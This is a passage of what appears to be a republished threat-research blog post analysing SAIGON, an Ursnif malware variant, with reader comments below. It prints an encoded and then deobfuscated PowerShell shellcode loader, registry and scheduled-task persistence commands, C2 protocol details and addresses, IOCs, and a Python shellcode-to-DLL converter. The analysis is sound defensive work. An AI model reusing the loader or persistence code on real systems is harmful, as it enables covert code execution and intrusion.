BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dG VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1 dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzI nIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml ydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU 2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG 9jbm53a3ZvcSwzMDAwMCk7”))); The malware replaces the “@[email protected]” placeholder from this PowerShell script template with a Base64-encoded version of itself, and writes the PowerShell script to a registry value named “PsRun” under the “HKEY_CURRENT_USER\Identities\{<random_guid>}” registry key (Figure 1). Figure 1: PowerShell script written to PsRun The instance of SAIGON then creates a new scheduled task (Figure 2) with the name “Power<random_word>” (e.g. PowerSgs). If this is unsuccessful for any reason, it falls back to using the “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” registry key to enable itself to maintain persistence through system reboot. Figure 2: Scheduled task Regardless of the persistence mechanism used, the command that executes the binary from the registry is similar to the following: PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzAEIA OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5 AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A After removing the Base64 encoding from this command, it looks something like “iex (gp ‘HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}’).PsRun.”  When executed, this command retrieves the contents of the previous registry value using Get-ItemProperty (gp) and executes it using Invoke-Expression (iex). Finally, the PowerShell code in the registry allocates a block of memory, copies the Base64-decoded shellcode blob into it, launches a new thread pointing to the area using CreateRemoteThread, and waits for the thread to complete. The following script is a deobfuscated and beautified version of the PowerShell. $hanksefksgu = [System.Convert]::FromBase64String(“@[email protected]”); $wgxmjgbxtj = $hanksefksgu.Length; $tskvo = @” [DllImport(“kernel32”)] public static extern Int32 GetCurrentProcess(); [DllImport(“user32”)] public static extern IntPtr GetDC(IntPtr mxxahxof); [DllImport(“kernel32”)] public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh); [DllImport(“kernel32”)] public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev); [DllImport(“kernel32”)] public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud); “@; $tskaaxotxe = Add-Type -memberDefinition $tskvo -Name ‘Win32’ -namespace Win32Functions -passthru; $mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj); $tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0); $ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000); Once it has established a foothold on the machine, SAIGON loads and parses its embedded LOADER.INI configuration (see the Configuration section for details) and starts its main worker thread, which continuously polls the C2 server for commands. Configuration The Ursnif source code incorporated a concept referred to as “joined data,” which is a set of compressed/encrypted files bundled with the executable file. Early variants relied on a special structure after the PE header and marked with specific magic bytes (“JF,” “FJ,” “J1,” “JJ,” depending on the Ursnif version). In Ursnif v3 (Figure 3), this data is no longer simply after the PE header but pointed to by the Security Directory in the PE header, and the magic bytes have also been changed to “WD” (0x4457). Figure 3: Ursnif v3 joined data This structure defines the various properties (offset, size, and type) of the bundled files. This is the same exact method used by SAIGON for storing its three embedded files: PUBLIC.KEY – RSA public key RUN.PS1 – PowerShell script template LOADER.INI – Malware configuration The following is a list of configuration options observed: Name Checksum Name Description 0x97ccd204 HostsList List of C2 URLs used for communication 0xd82bcb60 ServerKey Serpent key used for communicating with the C2 0x23a02904 Group Botnet ID 0x776c71c0 IdlePeriod Number of seconds to wait before the initial request to the C2 0x22aa2818 MinimumUptime Waits until the uptime is greater than this value (in seconds) 0x5beb543e LoadPeriod Number of seconds to wait between subsequent requests to the C2 0x84485ef2 HostKeepTime The number of minutes to wait before switching to the next C2 server in case of failures Table 1: Configuration options Communication While the network communication structure of SAIGON is very similar to Ursnif v3, there are some subtle differences. SAIGON beacons are sent to the C2 servers as multipart/form-data encoded requests via HTTP POST to the “/index.html” URL path. The payload to be sent is first encrypted using Serpent encryption (in ECB mode vs CBC mode), then Base64-encoded. Responses from the server are encrypted with the same Serpent key and signed with the server’s RSA private key. SAIGON uses the following User-Agent header in its HTTP requests: “Mozilla/5.0 (Windows NT <os_version>; rv:58.0) Gecko/20100101 Firefox/58.0,” where <os_version> consists of the operating system’s major and minor version number (e.g. 10.0 on Windows 10, and 6.1 on Windows 7) and the string “; Win64; x64” is appended when the operating system is 64-bit. This yields the following example User Agent strings: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0” on Windows 10 64-bit “Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0” on Windows 7 32-bit The request format is also somewhat similar to the one used by other Ursnif variants described in Table 2: ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u Name Description ver Bot version (unlike other Ursnif variants this only contains the build number, so only the xxx digits from “3.5.xxx”) group Botnet ID id Client ID type Request type (0 – when polling for tasks, 6 – for system info data uploads) uptime Machine uptime in seconds knock The bot “knock” period (number of seconds to wait between subsequent requests to the C2, see the LoadPeriod configuration option) Table 2: Request format components Capabilities SAIGON implements the bot commands described in Table 3. Name Checksum Name Description 0x45d4bf54 SELF_DELETE Uninstalls itself from the machine; removes scheduled task and deletes its registry key 0xd86c3bdc LOAD_UPDATE Download data from URL, decrypt and verify signature, save it as a .ps1 file and run it using “PowerShell.exe -ep unrestricted -file %s” 0xeac44e42 GET_SYSINFO Collects and uploads system information by running: “systeminfo.exe” “net view” “nslookup 127.0.0.1” “tasklist.exe /SVC” “driverquery.exe” “reg.exe query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” /s” 0x83bf8ea0 LOAD_DLL Download data from URL, decrypt and verify, then use the same shellcode loader that was used to load itself into memory to load the DLL into the current process 0xa8e78c43 LOAD_EXE Download data from URL, decrypt and verify, save with an .exe extension, invoke using ShellExecute Table 3: SAIGON bot commands Comparison to Ursnif v3 Table 4 shows the similarities between Ursnif v3 and the analyzed SAIGON samples (differences are highlighted in bold):   Ursnif v3 (RM3) Saigon (Ursnif v3.5?) Persistence method Scheduled task that executes code stored in a registry key using PowerShell Scheduled task that executes code stored in a registry key using PowerShell Configuration storage Security PE directory points to embedded binary data starting with ‘WD’ magic bytes (aka. Ursnif “joined files”) Security PE directory points to embedded binary data starting with ‘WD’ magic bytes (aka. Ursnif “joined files”) PRNG algorithm xorshift64* xorshift64* Checksum algorithm JAMCRC (aka. CRC32 with all the bits flipped) CRC32, with the result rotated to the right by 1 bit Data compression aPLib aPLib Encryption/Decryption Serpent CBC Serpent ECB Data integrity verification RSA signature RSA signature Communication method HTTP POST requests HTTP POST requests Payload encoding Unpadded Base64 (‘+’ and ‘/’ are replaced with ‘_2B’ and ‘_2F’ respectively), random slashes are added Unpadded Base64 (‘+’ and ‘/’ are replaced with ‘%2B’ and ‘%2F’ respectively), no random slashes Uses URL path mimicking? Yes No Uses PX file format? Yes No Table 4: Similarities and differences between Ursnif v3 and SAIGON samples Figure 4 shows Ursnif v3’s use of URL path mimicking. This tactic has not been seen in other Ursnif variants, including SAIGON. Figure 4: Ursnif v3 mimicking (red) previously seen benign browser traffic (green) not seen in SAIGON samples  Implications It is currently unclear whether SAIGON is representative of a broader evolution in the Ursnif malware ecosystem. The low number of SAIGON samples identified thus far—all of which have compilations timestamps in 2018—may suggest that SAIGON was a temporary branch of Ursnif v3 adapted for use in a small number of operations. Notably, SAIGON’s capabilities also distinguish it from typical banking malware and may be more suited toward supporting targeted intrusion operations. This is further supported via our prior identification of SAIGON on a server that hosted tools used in point-of-sale intrusion operations as well as VISA’s recent notification of the malware appearing on a compromised hospitality organization’s network along with tools previously used by FIN8. Acknowledgements The authors would like to thank Kimberly Goody, Jeremy Kennelly and James Wyke for their support on this blog post. Appendix A: Samples The following is a list of samples including their embedded configuration: Sample SHA256: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5 Sample Version: 3.50.132 PE Timestamp: 2018-07-07T14:51:30 XOR Cookie: 0x40d822d9 C2 URLs: https://google-download[.]com https://cdn-google-eu[.]com https://cdn-gmail-us[.]com Group / Botnet ID: 1001 Server Key: rvXxkdL5DqOzIRfh Idle Period: 30 Load Period: 300 Host Keep Time: 1440 RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c 021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915 d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001) Sample SHA256: c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6 Sample Version: 3.50.132 PE Timestamp: 2018-07-07T14:51:41 XOR Cookie: 0x40d822d9 C2 URLs: https://google-download[.]com https://cdn-google-eu[.]com https://cdn-gmail-us[.]com Group / Botnet ID: 1001 Server Key: rvXxkdL5DqOzIRfh Idle Period: 30 Load Period: 300 Host Keep Time: 1440 RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c 021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915 d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001) Sample SHA256: 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e Sample Version: 3.50.199 PE Timestamp: 2018-11-15T11:17:09 XOR Cookie: 0x40d822d9 C2 URLs: https://mozilla-yahoo[.]com https://cdn-mozilla-sn45[.]com https://cdn-digicert-i31[.]com Group / Botnet ID: 1000 Server Key: rvXxkdL5DqOzIRfh Idle Period: 60 Load Period: 300 Host Keep Time: 1440 RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15 02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5 93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001) Sample SHA256: 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 Sample Version: 3.50.209 PE Timestamp: 2018-12-04T10:47:56 XOR Cookie: 0x40d822d9 C2 URLs http://softcloudstore[.]com http://146.0.72.76 http://setworldtime[.]com https://securecloudbase[.]com Botnet ID: 1000 Server Key: 0123456789ABCDEF Idle Period: 20 Minimum Uptime: 300 Load Period: 1800 Host Keep Time: 360 RSA Public Key: (0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453 34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660 70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001) Appendix B: IOCs Sample hashes: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5 c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT] 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT] C2 servers: https://google-download[.]com https://cdn-google-eu[.]com https://cdn-gmail-us[.]com https://mozilla-yahoo[.]com https://cdn-mozilla-sn45[.]com https://cdn-digicert-i31[.]com http://softcloudstore[.]com http://146.0.72.76 http://setworldtime[.]com https://securecloudbase[.]com User-Agent: “Mozilla/5.0 (Windows NT <os_version>; rv:58.0) Gecko/20100101 Firefox/58.0” Other host-based indicators: “Power<random_string>” scheduled task “PsRun” value under the HKCU\Identities\{<random_guid>} registry key Appendix C: Shellcode Converter Script The following Python script is intended to ease analysis of this malware. This script converts the SAIGON shellcode blob back into its original DLL form by removing the PE loader and restoring its PE header. These changes make the analysis of SAIGON shellcode blobs much simpler (e.g. allow loading of the files in IDA), however, the created DLLs will still crash when run in a debugger as the malware still relies on its (now removed) PE loader during the process injection stage of its execution. After this conversion process, the sample is relatively easy to analyze due to its small size and because it is not obfuscated. #!/usr/bin/env python3 import argparse import struct from datetime import datetime MZ_HEADER = bytes.fromhex(     ‘4d5a90000300000004000000ffff0000’     ‘b8000000000000004000000000000000’     ‘00000000000000000000000000000000’     ‘00000000000000000000000080000000’     ‘0e1fba0e00b409cd21b8014ccd215468’     ‘69732070726f6772616d2063616e6e6f’     ‘742062652072756e20696e20444f5320’     ‘6d6f64652e0d0d0a2400000000000000′ ) def main():     parser = argparse.ArgumentParser(description=”Shellcode to PE converter for the Saigon malware family.”)     parser.add_argument(“sample”)     args = parser.parse_args()     with open(args.sample, “rb”) as f:         data = bytearray(f.read())     if data.startswith(b’MZ’):         lfanew = struct.unpack_from(‘=I’, data, 0x3c)[0]         print(‘This is already an MZ/PE file.’)         return     elif not data.startswith(b’\xe9′):         print(‘Unknown file type.’)         return     struct.pack_into(‘=I’, data, 0, 0x00004550)     if data[5] == 0x01:         struct.pack_into(‘=H’, data, 4, 0x14c)     elif data[5] == 0x86:         struct.pack_into(‘=H’, data, 4, 0x8664)     else:         print(‘Unknown architecture.’)         return     # file alignment     struct.pack_into(‘=I’, data, 0x3c, 0x200)     optional_header_size, _ = struct.unpack_from(‘=HH’, data, 0x14)     magic, _, _, size_of_code = struct.unpack_from(‘=HBBI’, data, 0x18)     print(‘Magic:’, hex(magic))     print(‘Size of code:’, hex(size_of_code))     base_of_code, base_of_data = struct.unpack_from(‘=II’, data, 0x2c)     if magic == 0x20b:         # base of data, does not exist in PE32+         if size_of_code & 0x0fff:             tmp = (size_of_code & 0xfffff000) + 0x1000         else:             tmp = size_of_code         base_of_data = base_of_code + tmp     print(‘Base of code:’, hex(base_of_code))     print(‘Base of data:’, hex(base_of_data))     data[0x18 + optional_header_size : 0x1000] = b’\0′ * (0x1000 – 0x18 – optional_header_size)     size_of_header = struct.unpack_from(‘=I’, data, 0x54)[0]     data_size = 0x3000     pos = data.find(struct.pack(‘=IIIII’, 3, 5, 7, 11, 13))     if pos >= 0:         data_size = pos – base_of_data     section = 0     struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,         b’.text’,         size_of_code, base_of_code,         base_of_data – base_of_code, size_of_header,         0, 0,         0, 0,         0x60000020     )     section += 1     struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,         b’.rdata’,         data_size, base_of_data,         data_size, size_of_header + base_of_data – base_of_code,         0, 0,         0, 0,         0x40000040     )     section += 1     struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,         b’.data’,         0x1000, base_of_data + data_size,         0x1000, size_of_header + base_of_data – base_of_code + data_size,         0, 0,         0, 0,         0xc0000040     )     if magic == 0x20b:         section += 1         struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,             b’.pdata’,             0x1000, base_of_data + data_size + 0x1000,             0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,             0, 0,             0, 0,             0x40000040         )         section += 1         struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,             b’.bss’,             0x1600, base_of_data + data_size + 0x2000,             len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,             0, 0,             0, 0,             0xc0000040         )     else:         section += 1         struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,             b’.bss’,             0x1000, base_of_data + data_size + 0x1000,             0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,             0, 0,             0, 0,             0xc0000040         )         section += 1         struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * section,             b’.reloc’,             0x2000, base_of_data + data_size + 0x2000,             len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,             0, 0,             0, 0,             0x40000040         )     header = MZ_HEADER + data[:size_of_header – len(MZ_HEADER)]     pe = bytearray(header + data[0x1000:])     with open(args.sample + ‘.dll’, ‘wb’) as f:         f.write(pe)     lfanew = struct.unpack_from(‘=I’, pe, 0x3c)[0]     timestamp = struct.unpack_from(‘=I’, pe, lfanew + 8)[0]     print(‘PE timestamp:’, datetime.utcfromtimestamp(timestamp).isoformat())   if __name__ == “__main__”:     main()

Share This Information.

40 thoughts on “FireEye Threat Research

  1. What’s up to all, the contents present at this web page are truly remarkable for people experience, well, keep up the good work.

  2. This is very interesting, You’re a very skilled blogger. I have joined your feed and look forward to seeking more of your fantastic post. Also, I have shared your website in my social networks!

  3. This is a very good tip especially to those fresh to the blogosphere.
    Brief but very accurate information… Thanks for sharing this one.
    A must read post!

  4. It’s actually a cool and helpful piece of info. I’m happy that you just shared this helpful info with us. Please stay us up to date like this. Thanks for sharing.

  5. Thank you, I’ve recently been looking for this info for a long time and yours is the greatest I’ve discovered so far.

  6. Hi! Do you know if they make any plugins to protect against hackers? I’m kinda paranoid about losing everything I’ve worked hard on. Any recommendations?

    1. Hi Maribel,

      A determined hacker will always be able to penetrate a website but you can use plugins like wordfence security and ithemes security to harden your website to make it more difficult we also suggest using cloudflare as well.

      cheers,
      Websitecyber

  7. What’s Happening I am new to this, I stumbled upon websitecyber and I’ve discovered It absolutely helpful and it has helped me out loads. I am hoping to give a contribution & aid other users like its helped me.
    Good job.

  8. You can certainly see your expertise in the article you
    write. The arena hopes for even more passionate writers like you who
    aren’t afraid to mention how they believe. Always go after your heart.

  9. I enjoy what you guys are up too. This type of clever work and reporting!
    Keep up the wonderful works guys I’ve incorporated you
    guys to my own blogroll.

  10. I wanted to thank you for this good read!! I certainly enjoyed every bit of it.
    I’ve got you saved as a favourite to check out new stuff you post.

  11. What’s up to every one, the contents existing at this web site are genuinely awesome for people experience, well, keep up the good work fellows.

  12. Nice post. I was checking constantly this blog and I’m impressed!
    Very useful info specifically the last part 🙂 I care for such info much.
    I was seeking this particular info for a very long time.
    Thank you and best of luck.

  13. If some one needs to be updated with newest technologies then they must be pay a visit to websitecyber and be up to date all the time.

  14. Woah! I’m really digging the template/theme of this site.
    It’s simple, yet effective. A lot of times it’s tough to get that “perfect balance” between user friendliness and visual appeal.
    I must say you’ve done a very good job with this.
    In addition, the blog loads very quick for me on Chrome.

    Outstanding Blog!

  15. Hello there, You have done a fantastic job.
    I will definitely digg it and personally recommend to my friends.
    I am sure they’ll be benefited from this web site.

  16. Great post. I was checking constantly this weblog and I am impressed!
    Very useful info particularly the last section 🙂 I care for
    such info much. I used to be looking for this certain information for a very long time.
    Thank you and good luck.

  17. Your style is so unique compared to other people I have read stuff from.
    Thank you for posting when you have the opportunity, Guess I will just bookmark this page.

Leave a Reply

Your email address will not be published. Required fields are marked *